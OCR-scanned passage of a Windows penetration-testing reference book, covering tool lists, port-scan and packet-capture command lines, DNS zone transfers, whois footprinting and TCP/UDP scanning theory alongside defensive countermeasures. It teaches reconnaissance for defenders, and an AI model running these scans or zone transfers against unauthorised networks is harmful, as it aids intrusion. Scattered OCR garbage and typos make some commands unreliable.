If enabled, Windows flushes the swapfile on
shutdown. Although sensitive application should
use non-paged memory for security operations, it
is possible for sensitive information to be included
in the pagefile.

Forces all cryptographic functions to use algorithms in
line with Federal Information Processing Standards.
Most notably, this enables 3DES encryption for EFS.
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Useful Tools
Tool
Footprinting Tools
Sam Spade http://www.samspade.org
GTWhois http://www.geektools.com/software.php
Saeven Whois http://www.saeven.net/sware

Port Scanning Utilities

nmap-win32 Port Scanner (CLI) = http://www.insecure.org/nmap/nmap_download.html

ScanLine Port Scanner (CLI) http://www.foundstone.com/resources/freetools.htm
MingSweeper Port http://www.hoobie.net/tools

Scanner (GUI)

NmapWin (GUI) http://www.nmapwin.org

WPSweep Ping Sweep http://www.ntsecurity.nu/toolbox

tool (CLI)

Service Enumeration Utilities

Basic Clients (ftp, telnet, net, Included with operating system
nbtstat, nslookup)

SecDump (formerly DumpAcl) http://www.somarsoft.com

Enum http:/razor.bindview.com/tools

NBTEnum v3.0 http://packetstormsecurity.nl/Win

Winfo http://www.ntsecurity.nu/toolbox

UCD-SNMP Win32 http://sourceforge.net/projects/net-snmp
SolarWinds Tools http://www.solarwinds.net/Download-Tools.htm
Microsoft Windows http://www.microsoft.com/windows2000/techinfo/
Resource Kits reskit/default.asp

http://www.microsoft.com/windowsserver2003/
techinfo/reskit/resourcekit.mspx

User Enumeration Tools

sid2user / user2sid http://www.chem.msu.su/~rudnyi/NT/
http://www.ntbugtrag.com

DumpUsers http://www.ntsecurity.nu/toolbox

GetAcct http://www.securityfriday.com
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Password Cracking Tools
LC4 (commercial)

Cain & Abel

KerbCrack, KerbSniff

SQL Enumeration and Passwor

http://www.atstake.com
http://www.oxid.it/cain.html

http://ntsecurity.nu/toolbox

SQLPing v2.2
ForceSQL v2.0

Terminal Services Tools

d Testing Tools
http://www.sqglsecurity.com

http://www.nii.co.in/tools.html

ProbeTS, TSEnum

http://www.hammerofgod.com/download.htm

Custom Environments

Cygwin

http://www.cygwin.com

Packet Capture Utilities
Snort-win32

Ethereal

WinDump (Win32 tcpdump tool)
WinPcap (packet capture library)

http://www.snort.org
http://www.ethereal.com

http://windump.polito.it

$]00] [nJasn

http://winpcap.polito.it

IIS Security Tools

IS Lockdown Tool
URLScan v2.0

URLScan v2.5

MetaEdit v2.2

http://www.microsoft.com/technet/security/tools/
tools/locktool.asp

http://www.microsoft.com/technet/security/tools/
tools/urlscan.asp

http://support.microsoft.com/default.aspx?scid=
KB;EN-US;232068
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Quick Command Lines

Port Scanning

wpsweep 192.168.100.1 192.168.100.254
2000

nmap -sP -PE 192.168.100.1-254
sl -n 192.168.100.1-254

nmap -sT -p 23,25,80,139,445,1433
192.168.100.1-254

sl -t 23,25,80,139,445,1433
192.168.100.1-254

nmap -sU -p 53,137,161,500,1434
192.168.100.1-254

sl -u 53,137,161,500,1434
192.168.100.1-254

sl -t 139,445,1433 192.168.100.1-254 | sl \
-b -t 1-65535 -u 1-65535 -f "stdlin”

Ping sweep 192.168.100.1-254 with a
2 second timeout.

Ping sweep.
Ping sweep.
Simple Windows port TCP port scan.

Simple Windows port TCP port scan.
Simple Windows UDP port scan.
Simple Windows UDP port scan.

Find all hosts running NetBT Session,
Direct SMB or Microsoft SQL; then run
full TCP and UDP port scan with banner
grabbing.

Packet Capture
snort -W

snort -v -X

snort -v ip proto 50 Il ip proto 51
snort -v host 10.0.0.1 && tcp && port 80

snort -v -X src tcp && port 445

snort -v -X tep && ((src port 80 Il src port
443) |l (dst port 23 Il dst port 25))

List available interfaces for capture.

Capture all packets and include hex-dump
of packet contents.

Capture all IPSec traffic.

Capture all HTTP traffic to and from
10.0.0.1.

Capture and dump contents of all direct
SMB responses (source port of TCP/445).

Capture and dump contents of all HTTP
or HTTPS responses, or telnet or SMTP
requests.



WinPcap/libpcap Filter Reference

WinPcap/libpcap Filter Reference  RC 2.9

T

host [ip address]
net [network number]

port [port number]

Match packets to or from [ip address).
Match packets to or from hosts in [network number.

Match packets with a source or destination port of

Match packets of IP protocol type [protocol number.

[port number].
ip proto [protocol
number]
icmp Match all ICMP traffic.
tcp Match all TCP traffic.
udp Match all UDP traffic.
less [length]

greater [length]

ip broadcast, ip

Match packets with length less than [length].
Match packets with length greater than [length].

Match packets to or from broadcast or multicast addresses.
Modifier to host, net, and port to match only on the packet’s

Modifier to host, net, and port to match only on the packet’s

multicast
src

source properties.
dst

destination properties.
! Logical modifier NOT.
AND Logical modifier AND.
&&
OR Logical modifier OR.
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nslookup Command Reference

server = [ipaddress, Tells nslookup to use [server] for subsequent queries.

dnsname]

set type = mx Return only Mail Exchanger (MX) records for the
domain queried.

set type = ns Return only Name Server (NS) records for the domain
queried.

set type =[cname, a, hinfo] | Return only Canonical Name (CNAME), Address (A)
or Host Information (HINFO) records for the domain
queried. These options are limited in scope to a single
host, so are usually useful only to DNS administrators.

set type = any Return any records related to the hostname or domain
queried.

Is -a [domain] List all CNAME records in [domain] via zone transfer.

Is -t [type] [domain] List all records of type [type] in [domain] via zone
transfer.

Is -a [domain] List all records in [domain] via zone transfer.

domain = [domain] Set default domain name to [domain]. Has the

same effect as setting your primary search domain
to [domain).



Microsoft Management Console RG 31

Microsoft Management Console

Start the MMC Start | Run | mmc.exe
Add a Snap-In File | Add/Remove Snap-in...
Click Add

Create a Custom Console = Add Snap-ins as desired; then use File | Save As... to
save a custom management console (.msc) file to your
local Documents and Settings folder. These consoles
can later be launched with Start | Run | [name].msc.
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Figure RC-2. After adding the Snap-Ins you use most, you can save your console
definition as an .msc file. This figure shows some common Snap-Ins
defined as a single console, MyConsole.msc.
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Online References

General Security Archives
SecurityFocus

PacketStorm Security
Securiteam

Security News Portal

New Order

SANS Institute

CERT Coordination Center

Computer Incident Advisory Capability
(CIAC, US Department of Energy)

http://www.securityfocus.com
http:/packetstormsecurity.nl
http://www.securiteam.com
http://www.securitynewsportal.com
http://neworder.box.sk
http://www.sans.org
http://www.cert.org
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Application-Specific Sites
SQL Server

Terminal Services

http://www.sglsecurity.com

http://www.hammerofgod.com
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@Stake, Inc.

eEye Digital Security

Foundstone, Inc.

Internet Security Systems, Inc.
Next Generation Security Software
Shavlik Technologies, LLC
SolarWinds.Net, Inc.

http://www.atstake.com
http://www.eeye.com
http://www.foundstone.com
http://www.iss.com
http://www.nextgenss.com
http://www.shavlik.com

http://www.solarwinds.net



Part |

Hacking Fundamentals

Chapter 1 Footprinting: Knowing Where to Look
Chapter2  Scanning: Skulking About

Chapter 3  Enumeration: Social Engineering, Network Style
Chapter 4  Packet Sniffing: The Ultimate Authority
Chapter5 Fundamentals of Windows Security



&y VN A

This page intentionally left blank



o~ o o o4

Footprinting: Knowing
Where to Look

IN THIS CHAPTER:
Footprinting Explained
mmmmmm



4 Part I:  Hacking Fundamentals

the doorknobs on your systems, they first need to know where to

find them. While many of your systems might be pretty simple to
find, such as your corporate web servers or Internet mail gateways,
other systems may not be so easily located. Satellite offices, multiple
network providers, and corporate partnerships can provide many in-
roads for an attacker to reach his final destination.

Before potential attackers can begin to test the windows and rattle

FOOTPRINTING EXPLAINED

Footprinting is the process of using publicly available resources to iden-
tify networks belonging to a given organization. By determining what
networks are allocated to your company through the use of DNS (do-
main name system) or network allocation databases (among other meth-
ods), an attacker can concentrate his efforts on far less defended
positions, such as the subsidiary’s Sales offices in Des Moines, Iowa.
While defense-in-depth is beginning to take hold in many organiza-
tions, the first step in a hack is to gain access to a system, and any pub-
licly accessible resource will do nicely.

Sensitive information about your environment can exist in any
number of databases throughout the Internet. Long-archived Usenet
and mail list postings can now be searched with engines such as Yahoo!
and Google, allowing e-mail address harvesting. These postings pro-
vide a bevy of information we (playing the role of the attacker) can take
advantage of later, including usernames for brute-force or social-engi-
neering attacks (helpdesk call, anyone?). What’s more, the content of
these postings can sometimes hint to the operating systems, applica-
tions, and network security devices used by your targets. In this refer-
ence, we'll concentrate on two of the more common public databases
used for footprinting. We encourage you to spend some time online to
see what kind of information interested parties can find with just your
domain name and some creative search engine queries.

Footprinting Using DNS
Not long ago, DNS services were a treasure trove of footprinting data.
The rapid advent of the Internet meant many domain administrators
were unfamiliar with the intricacies of DNS security and so configured
very friendly and open servers. Any computer with an IP (Internet Proto-
col) address could ask the organization’s DNS servers for a full list of all
the domains and hosts they were aware of, and the server would hap-
pily reply. The attackers were exploiting part of the DNS protocol that
defined how one DNS server would communicate updates with others,
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known as a DNS zone-transfer. Worse yet, many of these servers pro-
vided name resolution for both external and internal networks, so an at-
tacker could identify potential internal targets before they’d even
breached the perimeter.

Attackers use the information provided by DNS queries and zone
transfers to get a feel for their victim’s Internet presence. Seemingly in-
nocuous information can provide a great deal of insight into a com-
pany’s security posture. For example, a heavily trafficked system that
makes use of DNS round-robin to assist load-balancing in a large Web
farm shows an attacker what network segments are being used for web
servers. Omissions in the numbering can represent network control de-
vices such as firewalls or routers.

Today, zone transfers are far less common on all but the least de-
fended environments. Even when successful, only a small percentage
will have any information about internal resources, as most organiza-
tions now maintain separate internal and external DNS systems. How-
ever, just because DNS no longer gives us the world does not reduce its
effectiveness for an attacker’s purposes. There’s still a wealth of infor-
mation to be had with some simple nslookup queries, and sometimes a
zone transfer will still pay out.

DNS Zone Transfer

There are a variety of tools to help you test a given server for a DNS zone
transfer. If you are comfortable using command-line tools, nslookup pro-
vides the requisite functionality using the 1s command, as shown here:

E: \HackNotes>nslookup
Default Server: testlab.a&p.com

Address: 192.168.32.1

> server nsl.targetdom.com

Default Server: mnsl.targetdom.com
Address: 172.16.31.144

> 1s -d hacknotes.com

[nsl.targetdom.com]

hacknotes.com. SOA nsl.targetdom.com admin.nsl.targetdom.com.
(2003032521 10800 3600 604800 300)

hacknotes.com. MX 30 mail.hacknotes.com

hacknotes.com. NS nsl.targetdom.com

hacknotes.com. A 10.19.89.130

mail A 192.168.169.99

wWww A 10.19.89.130

hacknotes.com. SOA nsl.targetdom.com admin.nsl.targetdom.com.

(2003032521 10800 3600 604800 300)

pauiejdx3 Gunuiidyoo4
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Here we see the (fictitious) nameserver nsl.targetdom.com for (ficti-
tious) domain hacknotes.com dutifully delivering all the address infor-
mation it has available. This isn’t a tremendous find, but it does tell us
the IP address for the web server http:/ /www.hacknotes.com, as well
as the mail exchanger (MX) mail.hacknotes.com. We can also tell that
the mail server and the web server are on two separate networks.

Zone transfer attempts will succeed only against a name server that
is considered to be authoritative for the domain that you want to list. We
don’t need another tool to find the authoritative server; nslookup con-
tinues to be our one-stop shop:

> set type=any
> hacknotes.com

Server: testlab.a&p.com
Address: 192.168.32.1

Non-authoritative answer:
hacknotes.com MX preference = 30, mail exchanger = mail.hacknotes.com
hacknotes.com

primary name server = nsl.targetdom.com

responsible mail addr = admin.nsl.targetdom.com

serial = 2003032521

refresh = 10800 (3 hours)

retry = 3600 (1 hour)

expire = 604800 (7 days)

default TTL = 300 (5 mins)

hacknotes.com Internet address = 10.19.89.130
hacknotes.com nameserver = nsl.targetdom.com
hacknotes.com nameserver = nsl.targetdom.com

mail.hacknotes.com Internet address = 192.168.169.99

If you're more comfortable with GUI-based tools, Sam Spade for
Windows (http://www.samspade.org/ssw/) is a powerful footprinting
tool, with an emphasis on spam tracing. Zone transfers are disabled by
default, but can be activated by toggling an option under Edit | Options |
Advanced. Once enabled, zone transfers are simply a matter of supplying
the domain name and the authoritative server, as shown in Figure 1-1.
Sam Spade also has a “dig” function that will return the authoritative
nameserver for whatever domain name you specify—one-click
footprinting.

Restrict Zone Transfers

The simplest way to prevent attackers from obtaining zone transfer data
from your servers is to block TCP/53 at your firewall or border router.
Normal DNS lookups are conducted over UDP, so it is not necessary to
permit TCP/53 from any systems other than those that require zone
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" Zone lransfer hacknotes com(@192.168.100.105, finished

04/22/03 16:02:15 Zone transfer hacknotes.com@lz

Zone transfer hacknotes. com@]92. 1/8. 100, 105
query for RSl - ! - -1
hacknote Tiansfer entie 20ne infomation for brity)
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S
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hacknote Fl Priority: 1
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T S

Cancel | Lcal MName) ﬁa_?lﬂ
A

Figure 1-1.  Using Sam Spade to execute a DNS Zone Transfer

transfers from your DNS server. This will prevent unauthorized parties
from outside the organization from accessing the zone data regardless
of the configuration of the DNS server itself.

Stopping outsiders from enumerating your domain is a good start,
but you may still be vulnerable to curious insiders. In later chapters,
we’ll discuss the advanced IP filtering capabilities available in Win-
dows 2000 and Windows 2003, which you can use to create a local
firewall restricting access to TCP/53 only to authorized hosts. Aside
from filtering, you can make use of the security features within your
DNS server software to limit the hosts that are permitted to query zone
data for your domain. Following are the steps to configure zone transfer
permissions for a Windows 2003 Server, which defaults to no zone
transfers when new zones are created:

1. Open the DNS Management console by selecting Start |
Administrative Tools | DNS.

2. Select the Lookup Zone to change zone transfer settings.
3. Right-click the Lookup Zone and select Properties.

4. Select the Zone Transfers tab.

pauiejdx3 Gunuiidyoo4
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From this tab (see Figure 1-2), you can enable or disable zone transfers
for this domain or restrict zone transfers to a limited set of servers. Try en-
abling zone transfers to any server and using nslookup as described ear-
lier to obtain a listing of your domains using the Is —-d command.

Disabling zone transfers for other DNS servers is done in a similar
fashion. For the Internet Software Consortium’s BIND (Berkeley Internet
Name Domain) software, access control lists can be defined in the
named.conf file, and the allow-transfer directive names the access con-
trol lists that can request zone transfers for the specific domain. Refer to
the documentation for your DNS server for exact details; the adminis-
trator’s manual for ISC’s BIND 9 server can be found at http://
www.nominum.com/content/documents/bind9arm.pdf.

hacknotes.com Properties N 2=l
General | Start of Authornity (S0A) | Mame Servers
WiNG Zone Trarsfers | Security

A zone trangfer sends a copy of the zone to requesting servers.

" Toany server

7 Only to zervers listed on the Mame Servers tab

© Only to the following servers

|B address:

‘ Femave |

To specify secondam servers to be notified of zone updates, click

Motify.
Motify. .. |
Ok I Cancel I Apply |

Figure 1-2. Windows 2003 Server Zone Transfer configuration tab. Here the
administrator has enabled zone transfers with no restrictions.
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DNS Brute Forcing

Zone transfers are the most useful form of DNS footprinting, but with-
out that information, an attacker still has a wealth of legitimate
footprinting information available. If the attacker’s ultimate goal is to
find as many of your networks as possible, they could simply write a
small script to check for valid hostnames by using a standard wordlist
and appending .domain.com. Because DNS is a distributed system, the
odds of detecting this sort of brute-force DNS enumeration are ex-
tremely low. The only defense is to minimize the amount of public DNS
information available.

It’s important to know how much data you are exposing via DNS. A
poorly designed DNS architecture could leak internal naming without
your knowledge. If you can’t obtain zone transfers for your environ-
ment, try using directed queries against your external DNS servers for
internal resources to ensure that external information is not inadver-
tently exposed.

E:\hacknotes>nslookup
Default server: nsl.hacknotes.com
Address: 10.23.1.1

> server myexternaldns.server.com
Default server: myexternaldns.server.com
Address: 1.40.212.5

> intranet.hacknotes.com
*** myexternaldns.server.com can't find intranet.hacknotes.com

Remember that DNS works both ways, with forward and reverse
lookups. Itis possible to obtain a reverse zone transfer as well, although
it is far more difficult to determine the domain to specify in the 1s -d
command. The following shows a reverse zone lookup on a name server
thatbelievesitis authoritative for the 192.168.100.0 /24 class-C network.

> 1s -d 100.168.192.in-addr.arpa

[phalanx.hacknotes.net]

100.168.192.in-addr.arpa. SOA phalanx.hacknotes.local. ..
100.168.192.in-addr.arpa. NS phalanx.hacknotes.local
103 PTR ja3805.hacknotes.com

111 PTR phb.hacknotes.com

115 PTR mp3srvr.hacknotes.com

100.168.192.in-addr.arpa. SOA phalanx.hacknotes.local...

pauiejdx3 Gunuiidyoo4



10 Part I:  Hacking Fundamentals

Some DHCP servers will auto-register hostnames in reverse DNS,
so reverse zone transfers and lookups can pose a significant risk. Don’t
overlook them!

y
i‘ Minimize Public DNS Exposure
" Unless you have no need for other networks to ever find your site, the

odds are high that you will always have a certain degree of DNS expo-
sure. Your DNS administrators can take steps to minimize that exposure:

B Conduct regular audits of the DNS zones that your organization
is responsible for.

B Don't rely on zone transfers for this process; actually have your
DNS administrators perform a dump of the zone files for all
domains that your organization is authoritative for.

B Ensure that no private addressing is available.

B Regard your DNS entries as service advertisements—are there
any services you'd rather not be showing off in public? If so,
they probably shouldn’t be in your DNS zones.

Footprinting Using Public Network Information

Domain names by definition resolve to IP addresses. IP addresses in turn
belong to networks. This relation brings us to our next step in the
footprinting process. At the very least, we should now have IP addresses
for our target’s mail servers (MX records) and a web server or two. Using
the various IP address information gathered from our DNS interrogation,
we can now find the answer to the question “What else is out there?”

Whois Database Queries

The IPv4 and IPv6 Internet address space is managed by various RIRs
(Regional Internet Registries) throughout the world. The majority of this
space is managed by one of the four major RIRs (or one of their subordi-
nates). The RIRs can be queried by IP address or domain name to deter-
mine what agencies or individuals are the registered owners of that
address space. This data provides the upper and lower bounds for an at-
tacker’s probes. The four primary RIRs and their geographic regions are
listed in Table 1-1.

Most of the NICs continue to offer public whois protocol servers
(TCP/43) or whois++ (TCP/63, UDP/63) that can be queried by com-
mand-line clients. The whois protocol defines a communication standard
for querying system and network information, and can be used to deter-
mine what organization “owns” an IP address block. However,
Microsoft’s Windows operating systems do not come with a whois client
installed, so we will have to use the CGI whois query tools provided on
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Regional Internet Registry | Region and Subordinates | Web Site

ARIN North America, parts of = http://www.arin.net
Caribbean, Africa

RIPE (Réseaux IP Europe, Middle East, http:/ /www.ripe.net

Européens) parts of Asia and Africa

APNIC Asia Pacific http:/ /www .apnic.net
Japan http:/ /www jpnic.net

LACNIC Latin America, parts of | http://www lacnic.net
Caribbean

Table 1-1.  The Four Primary Regional Internet Registries (RIRs)

the NICs web sites or install a freeware whois utility. Both Sam Spade and
GTWhois from Geektools.com (http://www.geektools.com/soft-
ware.php) are useful whois clients and will automatically search for a
RIR that has the data you are seeking. The Geektools client makes it easier
to specify which whois server to use, which can be a nifty option when
higher-level RIRs (such as the four primaries) are being tight-lipped. If
you prefer command-line tools, saeven (http:/ /www.saeven.net/sware)
offers a Win32 client modeled on the UNIX version.

Whois queries can be run against a domain name or an IP address,
and the information returned can be sparse or extremely detailed, de-
pending on the registrar and the NIC that you are querying. Many NICs
are limiting query results now to minimize information leakage from
very nonspecific queries. Typically, you'll be rewarded with a range of
IP addresses, the name of the organization or individual they are regis-
tered to, and a variety of abuse, technical, and NOC (Network Opera-
tions Center) contact information. Most queries even return a physical
address, although there’s no guarantee that it is accurate.

Look carefully at the results of your whois query before you act on
(against?) it. Sometimes, the NIC doesn’t have very granular information,
so a whois query on the IP address of momsoldfashionedservers.com might
return an IP netblock of over a dozen class-B networks. This does not
mean that momsoldfashionedservers.com owns all of those addresses—
it’s much more likely that they are leasing the IP from an ISP (Internet Ser-
vice Provider).

More Creative Footprinting Techniques

DNS and whois queries will provide the most concrete information on
your target domain. After you've got some IP addresses from some
DNS queries, whois queries on the specific IP addresses will usually
clue you in to other addresses that may belong to your target. But when
you've enumerated the IP ranges for http://www.targetdomain.com,
where can you look to expand your targets?

pauiejdx3 Gunuiidyoo4
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Browse Their Sites Most corporate web pages will provide all sorts of
useful data for the inquisitive hacker. Partnerships and mergers are
usually well documented in the public relations area of the site, usually
under the “About Us...” link. Identify subsidiaries and then perform
footprinting on those networks as well—frequently the rush to integrate
networks comes at the cost of securing them, and the organizational
shifts preoccupy the system administrators.

As you navigate through your target’s offerings, watch the URL. Do
certain sections of the site operate on different hostnames? Are secure
(HTTPS) links on the same hostname? Are there international mirrors?
A thorough investigation of the web site will ensure that you have a
good understanding of the potential targets and give you a better indi-
cation of the extent of the target’s business.

Search Their E-Mail Use search engines to locate archived data with
e-mail addresses from your target domain. Most search engines will al-
low this by searching for @targetdomain.com. While this step requires a lot
of manual sifting through junk, it can reveal some real gems, particularly
from sites like public support forums and discussion groups. Here you
can find all sorts of information leakage when administrators from your
target domain proselytize their favorite operating system, firewalls, and
network devices.

SUMMARY

So far we’ve seen how to use DNS and network allocation (whois) data
to get a feel for our victim’s Internet presence. We have seen how
misconfigured DNS servers can be coerced into providing a map of the
network, and how to ensure our Windows DNS servers are not so ac-
commodating. Finally, we saw how a determined hacker can easily
spend hours sifting through public resources for any tips to better know
their target. In the next chapter, we'll take the IP addressing we’ve gath-
ered through footprinting and start probing the hosts themselves.
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with, we can start mapping out all the possible entry points that

might lead to our ultimate destination of total system control. In
the previous chapter, we were looking through phonebooks to find our
victim’s address. Now we're going to actually visit, and maybe count
the doors and windows while we’re in the area.

Now that we have some real network addresses or ranges to work

SCANNING EXPLAINED

In the 1983 movie WarGames, junior hacker David Lightman becomes
intrigued with an advertisement for a new computer game company in
Sunnyvale, California. David calls information to get the main telephone
number for the company, and at the same time asks the operator for “any
other exchanges that cover that area.” Immediately after he gets off the
phone, David sets the modem on his computer to begin dialing every
phone number in the company’s neighborhood, searching for other com-
puters. It was arguably the most authentic hack in Hollywood history.

This earliest form of scanning is known as wardialing and represents
the essence of the methodology. The attacker identifies a limited range
of possible logical doorways and then uses the iterative capabilities of
his own computer system to exhaustively test each one. This port scan-
ning is the natural evolution of wardialing, except that whereas each
phone number is assumed to have one and only one possible connec-
tion, every IP address has over 130,000. (Certainly, a telephone number
could have any number of possible extensions, but that would ruin our
next analogy.)

How Port Scanning Works

The TCP/IP protocol suite defines two primary protocols for providing
network services: TCP (Transmission Control Protocol) and UDP (User
Datagram Protocol). Both protocols define service ports for the endpoints
of a connection, so every TCP or UDP packet has both a source port and a
destination port. These port numbers are defined as 16-bit integers, so the
valid range of service ports is 0-65,535. Back to the wardialing analogy,
this is as if each phone number were answered by an auto-attendant,
leaving us with thousands more numbers to exhaustively iterate. Fortu-
nately, the vast majority of common services operate on well-defined
ports, so we don’t necessarily have to check all 131,070 possible ports on
each host. In fact, for our first port scans we’ll check only about 15 ser-
vice ports.
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6 Technically, there are 131,072 service ports because 0 is a valid port number.
However, port O is considered reserved, and in certain programming libraries, Ois a
magic port number that asks the system to provide the next available port. Some
scanning utilities may use UDP port 0 to determine how a system responds to UDP
packets to a closed port.

The next few pages provide a brief, academic introduction to port scan-
ning. We've elected to provide the background information on scan meth-
ods before introducing the tools so that you can more easily digest the
concept of scanning. Understanding the mechanics of scanning will help
you make better decisions when we begin to use the scanning tools.

ICMP Scanning

In addition to the two primary service protocols, we can also take advan-
tage of the protocol that is the backbone of network testing, the simple yet
informative ICMP (Internet Control Message Protocol). You've probably
pinged another device at some point to verify network connectivity. The
term ping (frequently thought to be a convoluted acronym for Packet
InterNetwork Groper, but in fact was named such by its creator as an
analogy to a sonar ping—see http:/ /ftp.arl. mil/ ~mike/ping.html) refers
to the client application typically used to issue ICMP echo requests. Ac-
tive devices will respond to an ICMP echo request with an ICMP echo re-
ply message. The ping application detects this response, determines how
long it took the packets to make the round trip, and displays the time. If
the ping application doesn’t receive a response before its timeout expires,
it displays an error, typically “Request timed out.”

E:\hacknotes>ping mandark

Pinging mandark [192.168.100.1] with 32 bytes of data:
Reply from 192.168.100.1: bytes=32 time<lms TTL=255

Ping statistics for 192.168.100.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = Oms

Most standard diagnostic ping utilities will issue only ICMP echo re-
quests and expect only ICMP echo replies. While these will usually suf-
fice for your purposes, it's worth noting the variety of ICMP services that
are supported by most devices. Sometimes, a firewall policy that drops
ICMP echo replies will pass one of the more specific ICMP types. A list of
the most useful ICMP service types is included in the Reference Center.

b
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The standard Windows ping application (in Windows 2000, XP, and
2003) actually supports a great deal more features than most people are
aware of. You can set the packet size, the TTL (time-to-live), and the time-
out for your ICMP packets, not to mention the source-route options. The
following shows the various command-line options for the ping utility:

E:\hacknotes>ping -?

Usage: ping [-t] [-a] [-n count] [-1 size] [-f] [-1i TTL] [-v TOS]
[-r count] [-s count] [[-J host-list] | [-k host-1list]]
[-w timeout] target_name
Options:
-t Ping the specified host until stopped.
To see statistics and continue - type Control-Brk;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-1 size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.

-j host-1list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

ICMP may not offer much to us as a service, but it does provide a fast
way to determine which hosts are alive. This can come in very handy when
you need to scan a large block of addresses. Many of the scanning tools
we'll discuss later in the chapter can perform simple ping sweeps, issuing
ICMP echo requests to hundreds of IP addresses in parallel. There are also
tools designed solely for this purpose, such as the very speedy WPSweep
by Arne Vidstrom, available from http:/ /www.ntsecurity.nu/toolbox. A
command-line tool, WPSweep can ping-sweep a typical class-C network in
less than five seconds.

2 Block ICMP Messages Outbound

While ICMP does provide a certain degree of information leakage,
blocking ICMP messages entirely would severely complicate the tasks
of network and system administrators and would also undermine
many functions of TCP/IP itself. Instead of defending against ICMP
scans on a per-system basis, we recommend limiting ICMP messages at
firewall or border router devices. (In Chapter 12, we will see how to con-
figure recent Windows hosts to ignore ICMP messages, among other
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things.) Remember, it’s not enough to block ICMP echo replies, as most
scanners can send timestamp and netmask requests as well.

TCP Port Scanning

The backbone of the Internet, the most common services used today rely
on TCP for their data transmission. TCP’s popularity stems from its ease
of use. TCP provides developers a simple interface for data transmission,
and the connection-oriented nature of the protocol takes care of ensuring
successful data transmission. Long standardized, well-defined connec-
tion establishment and teardown methods combined with the prevalence
of this protocol make TCP-derived services very hacker-friendly.

The TCP Handshake: A Brief Review Every TCP connection must first be
established with a three-way handshake between the client host and the
server. This handshake sets the initial parameters for the data connec-
tion and ensures that both hosts can communicate with each other be-
fore the protocol signals the application that it’s ready for data.

The TCP handshake is initiated when a client issues a request to a
server. The client begins the connection by issuing a TCP packet to the
server IP address and service port with the SYN flag set. If the server re-
ceives this packet, it replies to the client’s IP address and the original
packet’s source port with both the SYN and ACK flags set. If the client
receives the reply (typically referred to as the SYN/ACK), it will com-
plete the handshake by replying with only ACK set.

The SYN flag, translated to human communications, means “I've
got something to tell you,” and the ACK flag can generally be read as
“Okay.” So, in teenagerese, the TCP handshake translates to

Client: “I've got something to tell you, can you hear me?”
Server: “Okay, I've got something to tell you, can you hear me?”
Client: “Okay.”

The formality of the TCP protocol provides a wealth of options for
us as we begin to test the service offerings of our target environment.
We will discuss the three most common approaches used by hackers
and security professionals alike here.

Full-Connection TCP Scanning The most obvious method of conducting
a TCP scan is to simply attempt to establish a normal TCP connection
with the target host and service. If you've ever used telnet to verify that
a particular TCP service (even telnet!) was available, you've run a full-
connection TCP port scan.
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Full-connection TCP scanning is the most polite of the scanning
methods, and it is also the slowest. Including teardown, the full-connect
TCP scan requires at least five packets to cross the wire. These packets
are as follows:

Client Server

SYN >

< SYN/ACK
ACK >
ACK/FIN >

< ACK

< ACK/RST

Each request and response adds one round-trip’s duration to the
scan time. So if the target host is 300 ms away, this exchange would take
atleast 600 ms. (Why not 1,500 ms? If a round-trip takes 300 ms, each leg
should only take 150 ms. Because the ACK and ACK/FIN are sent with-
out waiting for a response, they should count for only one round-trip).

Half-Open SYN TCP Scanning  Because TCP is so fond of replying, we can
reduce the number of packets required to check for an open service by
simply cutting the TCP handshake process short. By terminating the
connection as soon as we’ve received the server’s SYN/ACK packet, we
cut our wait time in half:

Client Server

SYN =

< SYN/ACK
ACK/RST, ACK/FIN * >
* Optional

With this approach, as soon as the target host replies that it received
our SYN, we end our tests and assume the service is up. Most port scan-
ners will politely send off an ACK/RST or ACK/FIN packet to try to
close the connection; without this, some TCP/IP implementations will
wait up to 300 seconds before flushing the connection.

Advanced TCP Scanning  The last TCP scanning methods we’ll discuss
are the advanced methods available in the peerless nmap command-line
port scanner. These methods are all based on the same TCP behavior, and
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nmap’s own documentation references the relevant protocol specifica-
tion down to the page number: RFC 793, page 64, which states

If the state is CLOSED (i.e., TCB does not exist) then

all data in the incoming segment is discarded. An incoming
segment containing a RST is discarded. An incoming segment not
containing a RST causes a RST to be sent in response.

In English, if a closed TCP port receives anything other than a reset
(RST) packet, it should reply with an RST packet. nmap’s three advanced
TCP scanning methods each send a non-SYN, non-RST packet in hopes of
not receiving a RST in reply. The three packet types nmap offers are the null
packet (no flags set), the FIN packet (only FIN flag set), and the aptly
named Xmas tree packet (URG, PUSH, and FIN). Unfortunately, the Win-
dows TCP/IP implementation does not implement this recommendation
and will not respond with an RST to closed port connection attempts. As
such, this technique will fail to find open ports on a Windows device.

This scan method, as with all predicted non-responsiveness scan-
ning methods, is more likely to suffer from inaccuracies due to filtering
or network congestion. This approach is not recommended for initial
scanning but can be useful when the object of your scan is to avoid a
simple packet-filtering firewall that is dropping all inbound SYN packets
to your target host.

Limit TCP Traffic

As we’ve shown, TCP scanning is made possible by the rigorous proto-
col specifications laid down in REC 793. In order to defend against these
methods, we need to carefully weigh each type of TCP traffic we might
see and decide whether or not to let it pass. It is very difficult to defend
against all types of TCP scanning using a stateless packet filter because
the advanced TCP scanning methods described above will fail to be
blocked by a filter that is looking only for straight SYN packets.

Use of a well-established and properly configured firewall is the
only realistic way to completely secure your environment against TCP
scan behavior. It is important also that you test the firewall rules, either
yourself (using the techniques learned here) or by contracting experi-
enced penetration testers to do it for you. Firewall policy reviews can go
a long way, but nothing beats seeing the results for yourself.

Of course, firewalls do not offer a great deal of protection against in-
ternal scan activity unless you are fortunate enough to have compart-
mentalized all of your critical resources behind internal access control
devices. (If you have, kudos to you!) Again, in this case, knowing is half
the battle. Don’t wait for an attacker to start profiling your sys-
tems—beat them to it! That way you can decide how much exposure is
too much before it’s too late.

b
[<'=)
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UDP Port Scanning

Wrapping up the core scanning protocols, UDP represents the most
evasive service ports to scan for. The provisions in TCP that allow for
guaranteed data delivery do not exist in the transaction-oriented UDP.
The UDP specification (RFC 768) does not provide any guaranteed
method to solicit a response from a remote port, so we can’t make use of
tricks like RST scanning.

Fortunately, two other RFCs define behaviors for all protocols that
we can take advantage of for our UDP port scanning. RFC 1122, “Re-
quirements for Internet Hosts—Communication Layers” (page 39) and
RFEC 792, “Internet Control Message Protocol” (page 3) define the re-
